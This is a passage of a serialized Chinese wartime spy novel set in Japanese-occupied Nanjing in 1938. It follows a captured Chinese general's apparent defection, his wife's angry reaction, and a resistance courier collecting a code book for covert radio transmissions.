“回四川?世道这么乱,你怎么回?说不定还未到四川,你恐怕早就身首异处了!”黑木又语重心长道:“这一路上,我们帝国军队无处不在,你曾是一名中国军人,军人的烙印怎么会说洗掉就洗掉?万一遭遇到我们帝国的军队,是没有人愿意听你解释的!所以,我劝阁下,既来之咱则安之,不妨留下来替帝国做点事!” 管定洲不说话了,低着头思索着。 黑木趁热打铁:“作为一名军人,你的使命就是继续战斗!如果你宣誓效忠帝国皇军,不但性命可以保住,还尽享一生荣华!” 管定洲一脸狐疑抬头,嗫嚅问道:“可是,我该如何帮你们?” “这么说管桑答应了?”黑木微微一笑说。 管定洲似乎下了很大的决心:“就怕皇军看不上我,如果将军觉得我物尽其用、人尽其才,我想我还是乐于效劳的!” “有了这样的前提,一切好办!”黑木对一旁的武内次郎招手,待武内走近道:“武内君,管桑就交给你了,你好好培养,我看他还是有能力的,你就大胆启用!” 武内点头,“是!” 这一番话后,管定洲显然大受鼓舞,跃跃欲试起来,“将军……” “叫我黑木将军!” “是,黑木将军!将军需要我做什么?我知道将军对我一定有安排!” 黑木嘉许地盯着管定洲道:“保持现状,继续混杂在这些囚犯中,担负起皇军的耳朵和眼睛的作用,收集一切有利于帝国的情报,并及时向武内典狱长反馈!” “是!” “武内君,你安排专人负责和管桑单线联系,不要让更多人知晓他的身份!” 武内连连点头。黑木把目光又停在管定洲的脸上:“你还有一件重要的任务,利用一切放风的机会,尽量多接触那位叫林赤的,最好要挖出他的真实想法!” 至此,管定洲方知自己的真正价值在于他可以利用和林赤认识的机会,得以接近此人。但心中尚有疑惑,“黑木将军,他是帝国的囚犯,为何要花这么大的精力去了解一个囚犯的想法?” 黑木没有直接解释,只是说道:“他或许知道一些重要的信息!” 管定洲听毕,愉悦说道:“请黑木将军放心,我管定洲一定不辱使命!” 黑木满意地连连颌首,“那就委屈管桑了!” 管定洲被带走后,黑木心情大好,带着渡边欲离开监狱,正要向武内辞行,忽然副典狱长陈炳松疾步而至。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第143章 慎独——英雄无奈的叹息 陈炳松显然跑得急,额头上的汗珠亮晶晶的,微微喘着气,但从他轻松的神态中黑木可以断定,他带来的一定不是坏消息。 进了房间的陈炳松先是看了一眼他的直接上司武内次郎,然后又看看黑木,最后还是走向黑木。 “将军,刘云雄要求进食了!” 这个消息对于黑木来说,六分喜三分忧,剩下的一分是疑。 喜的是既然开始吃饭了,说明他还是想活下去,人只要有活着的欲望,则一切都好商量,改变他的立场也就有了可能性;忧的是他怕对方会因此提出什么苛刻的条件,最后一分疑是基于这样的转变太突兀,反而让人有不踏实之感。 黑木的神色先是欢喜,但很快显出忧心的样子,如此反复,阴晴不定。 “除了要求见他的夫人,他有没有提出什么更苛刻的要求?”黑木先是说出了他的担忧。 “奇怪得很,他此次并未提及见他的老婆,而是直接通知了看管,要求他送一份热饭给他。看管小张觉得事关重大,就报告了我。我一面要求食堂给他准备食物,一面亲自前去探寻,他见到我后,只是提出了一个要求……” “什么要求?”黑木迫不及待问道。 “他……他要求我们给他准备一份笔墨纸砚。”陈炳松脸上写着疑问,期盼地看着黑木,希望从黑木的嘴里得到答案。 这个要求也大大出乎黑木的意料,他以为自己没有听清楚,又问了一遍,当得到同样的答复后,他沉思了好半天才喃喃自语道:“他要笔和纸干什么?” 一旁的李泉插话道:“会不会是用来写遗嘱?” 陈炳松马上赞同道:“我也是这么想的,所以特地快速来报将军,我真怕他想不开……” 武内次郎顺着一众人的思路说道:“是啊,说不定刚刚钱瑾余和林赤的打斗触动了他,他最无辜了,可却被牵扯其中,还挨了几拳,我看这是主要原因,要不然好好的怎么会想不开呢?” 渡边连忙紧张地看着黑木道:“要不要现在去看看?” 黑木却不着急,不慌不忙道:“你们多虑了!如果刘云雄真有寻死之心,想写点什么交代后事,普通的笔纸即可,为何那么麻烦,要来毛笔和宣纸?将死之人,心是绝望的,绝无可能卖弄书法!”说着,黑木率先走出门外,边走边说道:“咱们去看看他的葫芦里到底卖的什么药!” 一众人浩浩荡荡来到甲区八号监房。 到了门口,黑木先是探头向里张望一番,接着命令道:“把门打开!” 桌上送来的食物已被刘云雄一扫而光,空空如也的碗盆被搁在桌子的一隅,桌子中央铺开一张宣纸,顶端两角用筷子压着。刘云雄正在砚台里磨墨,从黑木他们进屋到走到桌前,刘云雄连头也没抬一下,一副专注的神情。他的脸色依旧苍白,但稍稍有了血色,眉心的那颗黑痣似乎也红润了起来。 此时他的神态是欢快而轻松的。 黑木从未见到如此神情的刘云雄,对方已无局促之感,相反透出了十足的自信来。 黑木疑心大起,正待问话,却听到刘云雄抢先说道:“将军,你居然也在?你来得正好,我请你欣赏欣赏我的书法!” 一个全新的刘云雄出现在黑木的面前。 “怎么,刘将军也懂书法?”黑木不得不道。 刘云雄终于打量了黑木一眼,口气有些不屑:“书法可是我中华民族的国粹,我们的启蒙教育就是要写好毛笔字,事实上我们也是这么做的!” 黑木继续用异样的眼神看着刘云雄,眼前的他已断无往昔的卑微,言辞之间收放自如。 武内戎马数年,年初才从本土来到中国,一直没有机会得见中国人现场表演过毛笔书法,好奇心大起,便跻身上前兴致勃勃道:“刘将军准备写什么呢?” “武内典狱长对中国书法也感兴趣?”刘云雄道。 武内刚要回答,却被黑木打断,黑木很不习惯刘云雄的这副模样,不想被他牵着鼻子,便有意揭他的痛处,“我昨天听说刘将军开始绝食,怎么,是不是遇到过不去的坎?” 刘云雄却一副无所谓的样子,哈哈一笑道:“还绝什么食,活着多重要!中国有句古话,好死不如赖活,我终于想明白这个道理,为了所谓的信仰,何必老是和自己较劲?毕竟生命才是最宝贵的!” “刘将军是什么时候想通的?” “就在不久前放风的时候,我好端端的没招谁惹谁,可就这样居然被一个比我瘦弱的人欺凌,被他压在身下动弹不得,还遭受了几拳重击!”刘云雄顿了顿,变得气愤起来,“我刘云雄堂堂的党国少将旅长,什么时候如此窝囊过,想当年在黄埔军校,论搏击摔跤,又有几个人是我的对手?”说到这里,刘云雄突然提高声音:“可如今虎落平川被犬欺,真是岂有此理!” 这最后一句,黑木怕刘云雄另有所指,便盯着刘云雄看。 刘云雄知道黑木怕他含沙射影,立即笑道:“将军别误解,我是指刚刚压在我身上的那两位,对了那两位叫什么?改天我希望贵方给我机会好好教训一下这两个狂妄之徒!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!黑木似有如释重负之感,把目光聚焦在桌上的纸张上,问道:“刘将军这是准备写什么?” 刘云雄收回目光,骤然加快了磨墨的速度,嘴里回答道:“将军对书法有研究吗?” “略知一二,谈不上研究,只是知晓些皮毛!” “那好,待我写完后请黑木将军点评。”说完,从桌上拿起一支毛笔,端详片刻道:“在你们老虎桥监狱居然也有上好的湖笔!” 陈炳松连忙解释道:“这支笔大有来历,它可是我们原典狱长遗忘在此的,刘将军既然热爱书法,又是行家,我将它取来与你,也算是适得其所!” 武内道:“这支笔有什么特别之处吗?” 刘云雄将笔尖先是在砚台里蘸了蘸,提起再次凝视俄顷,啧啧赞叹道:“一支好的毛笔,必须具备‘尖、齐、圆、健’四德,尖——笔毫聚合时,笔锋要能收尖;齐——将笔头沾水捏扁,笔端的毛整齐无不齐现象;圆——笔肚周围,笔毫饱满圆润,呈圆锥状,不扁不瘦;健——笔毛有弹性,笔毛铺开后易于收拢,笔力要健!你看,这些条件它全满足,自然是笔中极品了!” 武内听后兴趣盎然将脑袋凑近笔尖,细细察看一番,刚想附和,却见到黑木皱了皱眉,就硬生生地将溢美之词咽回肚子。 刘云雄并未察觉,他的注意力还在这支笔上,把笔尖完全浸泡在墨汁中,待笔尖吸饱后,手腕稍稍抬起,将多余的墨汁在砚台的内侧边缘刮下,然后把笔拎到空中,手在空中比划了几下,似乎是在做下笔前的热身…… 所有人的目光齐刷刷跟着他的笔尖一起移动。 但见他似乎是下定了决心,不再犹豫,笔尖一触到纸张,立即狂舞起来。 就在一眨眼的功夫,两个龙飞凤舞的大字跃然纸上。 “慎独”! 两个大字书写完毕,他又署上了落款:民国二十七年初刘云雄于老虎桥监狱。 所有的书写结束,刘云雄把毛笔搁在砚台上,站直了身子再次细细研看,很快他的脸上露出欣慰之色。 黑木对中国书法其实是有研究的,这两个字力透纸背,遒劲有力,便由衷赞美道:“刘将军原来是大家啊!你看这两字,笔形沧桑却风骨犹存,形似枯槁却稳如磐石,嗯,绝对有大师风范!” 刘云雄好像一下子觅到知音,看黑木的眼光也亲切起来。 众人看黑木大加赞赏,也纷纷喝起彩来。 此时的甲区八号监房,显出和谐一片,笑语不断。 “刘将军如果不介意,把这幅字送我如何?”黑木眼睛一直没离开这幅墨宝。 “没问题,只要黑木将军喜欢,尽管拿去。” 渡边雪奈虽然懂得不少中国语言,但对这两个字却一知半解,猜不透它的涵义,立即问道:“请教一下刘将军,这两个字是何意思?” 这时黑木不失时机说道:“让我们来听听刘将军的解释。” 在场的所有人对这两个字都有不同的理解,但都不是很确定,又不敢妄下论断,就一起看着刘云雄。 刘云雄仰头看了看房顶,众人也跟着一起看房顶。 好一会儿,刘云雄才低下头,他的眼眶里忽然间泪光盈盈。 刘云雄长叹一声道:“‘慎独’二字,是指一个英雄无奈的叹息!” 到这个时候,松机关的黑木机关长才疑虑顿消,他终于走进了刘云雄的内心,也深刻体会了他此时的心境。 刘云雄终于向现实屈服了! 而屈服的原因是因为遭到了不白之冤屈,竟然是那顿拳脚唤醒了他! 看来那顿拳击比严酷的刑罚要有效得多。 黑木的脸上涌现出久违的笑容,他亲昵地拍了拍刘云雄的后背,语气略显激动,“将军,这一天我等得太久太久!” 两颗泪珠从刘云雄的脸庞滑落,他呐呐低语道:“造化弄人啊!” “不,是时势造人!”黑木大声笑道。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第144章 夫妻相见 老虎桥监狱的甲区八号监房里,史无前例地其乐融融起来。 黑木长笑之后,监房内忽然间安静了下来,所有人都不再说话了,纷纷盯着黑木和刘云雄。 黑木却盯着桌上的墨宝。 远看这“慎独”二字,笔形和词义如此曼妙传神、相得益彰。黑木情不自禁走上前去,此时墨迹已干,黑木将顶端的两支筷子分别移走,双手将它端起,越看越喜欢,头也不回喊道:“渡边小姐,烦你一事,看能否找一画匠把它装裱起来,然后挂到我的办公室。” 渡边小心翼翼接过这幅字,低头对着浓墨处吹了几口气,确信已经干透后才把它卷了起来。 渡边手握墨宝,站在黑木身侧,做出一副欲离去的样子。 黑木于是对刘云雄道:“刘将军,自今日起,你重获自由,请跟我走吧,我今晚将找一处为你接风!”说着黑木看了看武内,又看了看陈炳松,问道:“陈桑,你是地道的南京人,南京城现在有没有重新开张的饭店?” 陈炳松想了想道:“太平路上有一家绿柳居前不久刚刚恢复营业。” “好,咱们今晚就去那里,陈桑,你去帮我们订一包间,你和武内君都必须参加,这段时间你们也辛苦了,也顺便慰问一下你们。” 武内和陈炳松都应了一声。 突然听到刘云雄对黑木说道:“黑木将军,我还有几个条件!” 黑木听后,面无表情,慢慢回头对陈炳松道:“陈桑,今晚的宴会你赶紧去安排吧。” 待陈炳松走后,黑木道:“刘将军请讲!” “第一、我需要一定的兵权,除了带兵打仗,其它的我一概不会;第二、不要利用我的身份,且假借我之手,诱捕或杀害你们的对手;第三、我需要马上见到我的妻子。” 听完后,黑木立即道:“武内君,你赶紧安排一下,把刘将军的夫人秦女士带过来。”吩咐结束,黑木继续道:“刘桑,至于你的其它两个条件,我一时半会无法答复,这要等我汇报南京司令部松井石根大将后再说……不过,既然刘将军真心归顺帝国,我想你提出了这两个条件太苛刻,不得不让我怀疑将军的诚意!” “这只是你的看法,或许您的上一级长官不这么认为。” “说得也是,立场和高度不一样啊!”黑木爽朗大笑几声。 没多久,响起敲门声。 一人带着秦素芬站在门前。秦素芬一脸不安地扫视着房间里的人,她的目光突然看到了刘云雄,刘云雄也在看她。秦素芬先是一愣,旋即一脸惊愕,接着立即脱离了跟随者,飞一般向屋内冲了过来,一把抱住了已经张开双臂的刘云雄。 两人紧紧搂在一起。 足足三十多秒,秦素芬把埋在刘云雄胸前的脑袋抬起,静静地注视着刘云雄,她的眼眶里已泪光盈盈。 半晌,秦素芬嗫嚅道:“你还好吧,他们有没有把你怎么样?”说着,秦素芬放开刘云雄,将他上上下下重新打量了一遍。 “没有,你呢?他们有没有打你?” 秦素芬坚定地摇了摇头。 在场的所有人见此一幕,均心有感慨。渡边见状欲离开,想给他们夫妇二人留一点私人空间,但看到黑木否决的眼神,便继续留了下来。 黑木其实想通过二人的意外相逢,从他们的言语和动作中寻找一些蛛丝马迹,好进一步判断事情的真相。 “我其实早就知道你进来了,我也提过要求见你一面,可他们就是不同意!”刘云雄道。 “我又何尝不是呢?”秦素芬诉说着衷肠,又一把抱住了他,不管周围还站着很多人,竟然踮起脚去吻刘云雄。 倒是刘云雄不习惯,连忙用手掌挡住了她,目光扫了一下黑木,把秦素芬的双肩扳到朝向黑木一侧,对秦素芬介绍道:“素芬,这位是黑木将军!” 秦素芬厌恶地看着黑木,却对着刘云雄道:“这个人我认识,本来我已逃脱魔掌,就是这个人又把我抓了进来!”说着说着她忽然听出丈夫的这句话有异,重新审视着丈夫,狐疑道:“你……难道你投降小日本啦?” 黑木皱了皱眉,将目光停在刘云雄的脸上。 他期望着刘云雄的回答,他要看整个事件二人接下来如何演绎。 “我还有得选择吗?” 秦素芬的神色由怀疑转变成绝望,她彻底放开了刘云雄,反复看着丈夫,紧锁着眉头,目光冰冷。 “如果他们没有抓住你,我相信我一定能够扛过去的!” 此时的黑木完全是抱着看戏的心态,他立即把头转向秦素芬,期待她如何回答。 但见秦素芬忽然抢前几步,一抬手,一记重重的耳光击在刘云雄的脸颊上。 这记耳光清脆响亮,掩盖了一切喧嚣,众人均觉得脸上一凉。 刘云雄一下子懵了,不禁伸手抚摸面颊。 “你就当我死了!”秦素芬放声大喊,两颗泪滴悄然滴落,“你是我和儿子的自豪,你是国家的栋梁,你是堂堂的少将旅长,你曾经带过将近一万的兵!……可是,如今你的节操呢?你的自负呢?你对国家的忠诚呢?难道这些都死了吗?!” 这章没有结束,请点击下一页继续阅读!“素芬……”刘云雄绝望地叫道:“我的国家早就把我忘了,我为这个国家做了太多太多,可是到头来还剩下什么?!我甚至连自己的妻子都保护不了,作为一个男人,我的性命可以不要,但我不能眼睁睁看着自己的妻儿深陷危险而独善其身,死又能解决什么问题?” 刘云雄一把抓住秦素芬的手,继续道:“死对于我来说太容易了,我不是没有想过死,我甚至绝食,可是我走之后你们孤儿寡母怎么办?谁来保护你们?” 刘云雄又将秦素芬拉到身前,几乎是恳求道:“你要理解我,你是我的妻子,我们是要白头偕老的,如果连你都不支持我,我还有何理由苟活于世?” 听到这里,秦素芬的脸色稍缓,但怒气还在,可一时找不到下坡的台阶,恨恨道:“从古至今,汉奸从来都是被后世唾骂,也没有一个好下场,你就做好这个思想准备吧!” “这么说,夫人原谅我了?” “原谅个屁!你就好自为之吧!” 黑木觉得这个时候自己必须发表意见了,便笑着对秦素芬道:“刘夫人……” “叫我秦素芬,或者叫我秦女士!”秦素芬断然打断了黑木。 黑木讪讪笑笑,一旁的刘云雄无奈地耸耸肩,对黑木道:“将军不要和她计较,过些日子她就会好的,女人嘛,头发长见识短……” 秦素芬瞪了丈夫一眼,刚想抬手继续赐予他耳光,却被刘云雄一把抓住,“好了!不要再放肆!”刘云雄厉声喝道。 秦素芬悻悻把手挣脱,赌气地不再看丈夫。 “秦女士真乃烈女子也!”黑木由衷赞道,“不过,你们中国有句古话,‘良禽择木而息’,刘将军的归顺,是偶然,也是必然,历史终将证明他的伟大选择是正确的!” “但愿吧……”刘云雄低声道。 “好了,至于刘桑的其它两个条件,我回到松机关后马上汇报最高司令部,一有消息我立即转告,关于刘桑的工作安排,也必须听候最高司令部的命令!” 说着黑木对渡边道:“这两天,你让人给刘将军夫妇找一处府邸,供他们起居,房子没落实之前,先把他们安排在军部招待所,另外派几名得力的人好好保护他们的安全,不能有任何闪失,如有意外,我拿你是问!”黑木叮嘱完毕,又对刘云雄道:“你们夫妻二人先去歇息歇息,好好洗洗身上的晦气,晚上我让人去接你们,一起参加今晚在绿柳居为你们二位举行的欢迎宴会!” 松机关的人员兵分两路,一路送刘云雄夫妇去了军部招待所,另一路由黑木带队回松机关。 黑木回到自己的办公室,最想做的第一件事就是给松井石根将军汇报刘云雄的归顺。 松井大将在电话里听到黑木的汇报,对黑木赞扬道:“这件事黑木君做得很好,这个人一定要好好用,如果运用得当,则事半功倍!” 黑木担心刘云雄所提的两个条件,便请示道:“刘提的那两个条件,将军如何考虑?” “没问题啊,黑木君先答应他吧,先说带兵这一条,我觉得就很好,当下战事发展很快,完全依赖帝国的军队实施守卫,实在是力有不及,参谋本部现在正在筹划在南京建立一支由中国人编制的军队,施行自治,像刘这样的人才,目前是我们迫切需要的!他所提的第二个条件我想也可以满足他,作为曾经的掌握兵权的中国将领,这个要求不过分,若他没有这一点铁骨,我反而怀疑他的诚意,那样的人是不可以委以大任的!” 得到南京最高司令部的最大长官的肯定,黑木心情极度愉悦,放下电话,他的目光不自觉停在了办公桌对面的那面墙上。 原来悬挂的是一张孙中山的手书,内容是“天下为公”,黑木自进驻办公后,命人将原先的那张字幅取下,此时的墙上空荡荡的。黑木不由想起了刘云雄的那张墨宝——慎独,心想,如果把那幅字挂在这儿,是最恰当不过了。 正浮想联翩之际,渡边雪奈敲门进来,一进门就汇报道:“将军,我安排跟踪池碧疆的人有了反馈!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第145章 移动发报 “有什么异常吗?”黑木问道。 “因为事关重大,为了不放过一丝疑点,我安排人暗中监视、无缝隙蹲守,今天一大早,大约是六点刚过,交班的人在他家附近的巷子里埋伏,发现有一人去了他家,是个二十多岁的年轻姑娘,来人回应开门的人说是找他的女儿池橙的,她大约在屋里呆了一个小时不到时间,池碧疆带着她出来了,最后是池碧疆用车把她送了回去,我们的人一路跟踪,最后发现那女孩来到了中山中路的利民诊所,于是我们的人装成病人,了解后得知,那女孩是诊所的一名医生,叫曲思秋……”渡边说到这儿,卖了个关子,故意停了下来,看着黑木。 黑木果然问道:“她怎么啦?” “将军你猜这个女孩是谁?” “她是……”黑木好奇心大起。 “她就是原应天教会医院的曲医生,李泉所说的那位林赤的疑似女朋友。” “哦?”黑木一下子来了兴趣,把身子坐正,“她怎么会和池碧疆打成一片?” “或许她只是认识池碧疆的女儿,是去找他女儿的,而池碧疆也只是顺路把她送回。” “如果我没记错,渡边小姐是东京人?你们东京冬天的雪大吗?”黑木话题一转。 “是的将军,我是东京人,东京最冷天也就是现在,在一二月份,每年也就这个时候下雪,雪都不是很大。” “和这一次南京的雪相比呢?” “我从没见过这么大的雪,足足有三四十厘米厚。” 说到这儿,黑木沉思了片刻道:“这么厚的雪,你会步行四五公里,去找一个好朋友叙旧?而且是一大早?” 渡边似乎明白了什么,忙道:“将军的意思是说,能够让一个女孩在天还没放亮时,踩着厚厚的积雪,跋涉这么远的路,除非是……” “除非她有非常重要的事,而且一刻不容拖延!” “将军分析得对,她本意就是去找池碧疆的!利民诊所就在悦颜照相馆隔壁,也许是她一大早发现林赤——她的这位男朋友被抓了,情急之下就去找池碧疆商量对策?” “所以说,在这个节骨眼上,曲思秋的出现,绝对不是偶然。” “这个池碧疆果然有嫌疑!说不定他就是文化泄密事件的始作俑者。”渡边若有所思。 “结论下得太早,至少我们目前没有证据。” “那要不要先把曲思秋抓起来?” “不行!”黑木断然道,“这样会打草惊蛇的!你再安排另一组人,监视那位叫曲思秋的,待一有证据,再抓也不迟。”紧接着,黑木又转换了语气:“不过,如果需要她来配合林赤的审讯,也是要服从大局的。” 渡边走后不久,川上麻衣进来了。 “将军,最新的电波侦听设备我已派人从后勤部领回来了。”川上一进门便报告说。 “很好,马上投入使用。” “是将军,我正在安排人将这套设备重新安置在侦听车上,预计明天就可以上路投入使用。” “你有什么计划?”黑木问。 “我想从行动处借调一些人,联合电讯股的技术人员,分成两班,二十四小时轮流上路,由我和稻田君分别带队,一旦侦听到可疑电波,马上进行追踪。” “好的,我马上让渡边小姐抽调人手,不过,我要求你以最快的速度调试好设备,争取今晚就上路!” “这么急?……是将军,我尽量抓紧时间!”川上大声应道。 “我突然有种奇怪的感觉,自从我们抓了林赤后,整个南京城的敌人似乎都蠢蠢欲动起来,我有种直觉,感觉今晚你们必定会有所收获!”黑木道。 …… 整个一天,曲思秋都心神不宁。 她的心是乱的,人时刻处在恍惚之中,这样的状态,让她失误连连,最严重一次,在给一位病人注射时,竟然将针头扎进后,忘了推送药液就拔出,发现后再次注射,弄得那位病人叫苦不迭,对曲思秋连连抱怨,无奈之下,曲思秋只好不断表示歉意。 这一切都被陶楚歌看在眼里,她找准一个空档对曲思秋道:“思秋姐,要不你休息一下,有些事我可以做的。” 曲思秋摇了摇头。 陶楚歌不得不又提议道:“要不你出去透透气,反正现在又没有病人。” 曲思秋于是出了房间。 夕阳西下,寒气渐盛。 曲思秋又不由想起林赤,距离林赤被抓,已将近一天了。 他还好吗? 一想起日本人可能正在对他施以酷刑,曲思秋心如刀绞。而她,此时此刻,只能在诊所干等,束手无策。 正胡思乱想之际,曲思秋看到马路对面走来一人,直接奔她的利民诊所而来。 此人渐近,看到曲思秋径自道:“曲医生你好啊!” 从身形来看似曾相识,曲思秋在细细一看,竟是鼓楼区公所池碧疆的手下、曾在悦颜照相馆现场办理过良民证的牛玉高。 二人经池碧疆介绍,曾有过谋面。 这章没有结束,请点击下一页继续阅读!“是啊,我就是,原来是牛大哥。” “这两天不小心受了凉,有些咳嗽,我想请曲医生帮我看看,顺便抓点药。” 曲思秋带着牛玉高进了诊所,坐定后牛玉高见陶楚歌进了里面的房间,小声说道:“是池老师让我来找你的。” 曲思秋微微点头。 “我是前来取你手抄的那本密码本的,在身上吗?”牛玉高顿了顿又道:“池老师已经被人跟踪了,他出来不方便,特地差我前来,他说你今早曾和他通过电话……” 曲思秋沉思良久,确信没有陷阱,就回答道:“密码本被我藏在诊所的一个隐蔽的地方,等会我找机会取出给你。” 曲思秋写好处方,把陶楚歌从房间叫出,说道:“这个病人受了风寒,你给他按这份处方配些药。”说完曲思秋进了盥洗室。 曲思秋关上房门,把盥洗室的一面镜子轻轻从墙上取下,放在水池上。 镜子的后面,是一个方形小洞。 洞里面,静静躺着一个油纸包裹的小包。 曲思秋把小包很快放到口袋里,将一切恢复原样。 出了盥洗室,陶楚歌还没出来,曲思秋见状立即把小包塞到牛玉高的手里。 “麻烦你以最快的速度将它送给池碧疆老师。” “知道了。”牛玉高飞快地把包裹放进贴身的衣兜里,又轻轻说道:“池老师还有交待,他让你今晚哪儿都别去,我们可能会来找你,你也知道,现在我们的报务员奇缺,可能需要你协助发报。” 曲思秋坚定地点了点头。二人对话刚完,陶楚歌提着药出来了。 “你让病人按医嘱服药,我实在有点累,进去躺一会儿。”曲思秋对陶楚歌吩咐完毕,进了房间,整个人立即倒在床上。 但愿池碧疆能很快地将林赤被捕的消息发出去,但愿林赤的组织能够接收到这条讯息,并立即采取营救措施。 上午在悦颜照相馆所见的那位中年人会是林赤组织的吗?如果是,或许他们已经开始着手营救了。 想着想着,一阵倦意袭来。 从亲眼看到林赤被抓到现在,在这漫长的将近二十个小时的时间里,曲思秋一直处在焦虑之中,身心俱疲,直到牛玉高前来取林赤组织的密码本,曲思秋才仿佛像是一个溺水之人抓到了一棵救命稻草般看到了一丝微弱的希望,她的整个身体立即虚脱了一般,带着这个缥缈的希望,曲思秋迷迷糊糊进入了梦乡。 …… 牛玉高拿到密码本,立即返回了鼓楼区公所。 在池碧疆的办公室,牛玉高见到了池碧疆。 牛玉高掏出密码本,递给了池碧疆。 拆开包裹外层的油纸,由曲思秋手抄的密码本出现在他的面前。 池碧疆翻了几页,便又把密码本递给了牛玉高。 “不要大意,好好保管,千万不能给日本人得到这本密码,这可是重庆方面情报系统的命根子……” 牛玉高犹犹豫豫又将密码本放进内衣口袋,不解询问道:“那池老师为何要让我保管?” 池碧疆将一把汽车钥匙递给牛玉高,说道:“这是我那辆汽车的车钥匙,今天夜里十一点以后,你开着它去利民诊所接一下思秋,电台我已预先藏在汽车后备箱里,那部电台是干电池的,可以在汽车里移动发报,你负责开车,让思秋负责发报,这样做更隐蔽,也不利于鬼子侦听。”池碧疆喝了一口茶道:“本来这件事我需要亲力亲为,可是鬼子已经开始监视我了,我行动不便,你辛苦一下!” “没问题!”牛玉高满口答应,说完又奇怪问道:“鬼子怎么会盯上了你?是不是哪里出了破绽?” “我也不知道哪个环节出了问题……不过鬼子没有马上抓我,这说明他们还没有证据。” 牛玉高赞同地颌首,池碧疆继续说:“我需要反复交待你的是密码本的安全,尽管它不是我们组织的,但现在是国共统一抗战,假如给敌人获得,对他们造成的后果将是灾难性的!你必须像爱惜自己的生命一样保证它的安然无恙,切记!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第146章 无奈之举 渡边雪奈从黑木的房间出来,脑子里一直在想,黑木让她监视利民诊所的曲思秋医生,真不失为当下一个不错的思路。 既然这个女孩和池碧疆有牵连,那么,池碧疆或许不容易对付,这让从曲思秋身上找到突破口就成为了一种可能。 回到她的行动处,渡边马上按黑木的要求,开始布置人手,对利民诊所进行全面监控。 一切安排妥当后,渡边坐在办公桌前发了好长一段时间的呆,直到楼下的喧哗声将她拉回了现实。 渡边不禁把目光投向了窗外。 憩庐前的空地上,电讯股的一帮人正在川上麻衣的指挥下,热火朝天地改装着一辆电波侦听车。 渡边很自然地在人群中搜寻电讯股股长稻田勇的身影。 自从前些日子她和稻田勇有过深入接触、他对她表白后,渡边已经知道自己是稻田勇爱慕的对象,并且可以说是他的挚爱,这一点,渡边极其自信,她是一个情感生活非常丰富的女人,当她的身体和心智瓜熟蒂落后,她的每一步前行,都是伴随着征服一个又一个男人,这样的阅历让她将男人分为三六九等,最让她不屑地是那种只要一个小小妩媚的眼神,马上如嗅到腥味的苍蝇般嗡嗡而至的男人,这种人仅仅是对她的肉体感兴趣,和感情丝毫沾不上边;而让她最兴奋并唤起她的斗志的,则是经过她的种种暗示后,对方无动于衷,当然这类人为数不多,可以说是凤毛麟角;此外处于两者之间的第三类人,就是仰慕她的,并甘愿为她付出的,稻田勇显然就是这样的人,不过,他应该是这类人中的极品,女性的直觉告诉她,为了她,稻田勇甚至可以弃一切不顾。 一个女人通常对两类人比较感兴趣,一种是她喜欢的,另一种是喜欢她的,因为这其中无论是哪一种类型,都能彰显她的存在感。 稻田勇对她示爱一共两次,一次是自己深夜从黑木办公室归去,稻田勇将自己半路拦截,直抒胸臆;还有一次是庆功宴上,他几乎酩酊大醉,他的言词举止,无不对她渡边倾心至极。 渡边记得就在那天宴会上,稻田勇曾对她说过,他有样好东西给她,那句话刚刚说完,他醉倒委地。从那之后,渡边便惦记上了他所说的“好东西”,但自那以后,稻田再无下文。 渡边的好奇心驱使她一直想找一个和他单独相见的机会,看他有没有进一步的表示。 因而,这些日子以来,渡边对稻田的“关怀”殷殷切切。 渡边终于看到了稻田勇,不过,此时的稻田勇不是在忙碌,而是独自一人倚靠在墙上。 他的手里拿着几页纸,看上去像是一封信,他正低头神情专注地看着。 渡边鬼使神差出了办公室,下楼来到门前的空地上。 渡边先是和川上中佐打了招呼,然后装作不经意间发现了稻田。 “咦,稻田君,在看什么?”渡边轻描淡写说道。 稻田勇听到她问话后的反应和渡边的预想如出一辙,他的表情透出十二分的激动。 “是你呀,渡边小姐,怎么有空出来转转?” 渡边刚想回答,蓦然从对方激动的表情中发现了他眼睛里残剩的一丝阴郁。 “怎么啦?”渡边看了一眼稻田勇手里的信问道。 稻田的脸上立即显出无奈的绝望。 他在心爱的人面前,竟然无法有效伪装。 “谁来的信?”渡边干脆和稻田一样,把身体靠在墙上,两人并排站立。 “家信……”稻田勇嗫嚅道,男人的自尊让他欲言又止。 渡边岂有那么容易偃旗息鼓,但凡她好奇的,她有着强烈的求知欲。 “你看起来不开心?”稻田越是藏藏掖掖,渡边越是要将它揭开。 “我母亲写来的信。” 渡边瞄了一眼信道:“你想家了?” “嗯……我母亲的信中又提了我的父亲……我父亲又赌了,家里所有值钱的都被他卖了,都揭不开锅了,不仅如此,债主还天天逼上门,给了他最后期限,我母亲没办法,写信向我求援……”将自己最丑陋的地方暴露在心仪的人面前,稻田有些难为情地样子,但若不是渡边逼得急,稻田是无论如何不会对她说的。 “那你赶紧寄些钱回去啊!”渡边一副无所谓的样子。 “可是,这笔钱不是小数目,我一辈子都还不起!”稻田勇沮丧道,“我父亲每次都是大赌……” “那怎么行,让他戒赌啊!”渡边夸张地叫了起来。 “能戒倒好了,就是改不了,赌徒心理你不知道吗?越输越想赢,越输多了就越想赌更大的,万劫不复啊!”稻田说着眼睛里忽然涌出一丝泪光,恨恨道:“如果他不是我的父亲,我会杀了他的!十年前,他就因为赌博,把我年仅十一岁的妹妹输掉了……” “啊?”渡边大吃一惊,“这到底怎么回事?” 稻田道:“那时候他就整天酗酒、赌博,欠了一屁股债,被逼得没办法,就瞒着我母亲用我的妹妹去抵债,我妹妹长得可漂亮了,对方很喜欢,就同意免去债务,还补偿了一部分钱,自那以后,我父亲也陷在深深的自责中,人也变了不少,我和母亲总以为他已经痛改前非,慢慢就原谅了他……可是现在不但旧病复发,他还变本加厉!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!渡边听完后马上表露出一副同情地样子,“要不要我帮你?” “你帮不了我的,数额太大了!” “有多大?” 稻田坚定地摇了摇头,“不管如何,我还是谢谢渡边小姐的好意,我心领了,这件事我还是自己想办法吧……” 渡边不再勉强,叹了一口气。她来此本是想旁敲侧击,通过暗示或启发,进一步了解那晚稻田对她的承诺,探知那件“好东西”到底为何物,现在看来,今天如要深入打探已然无望。 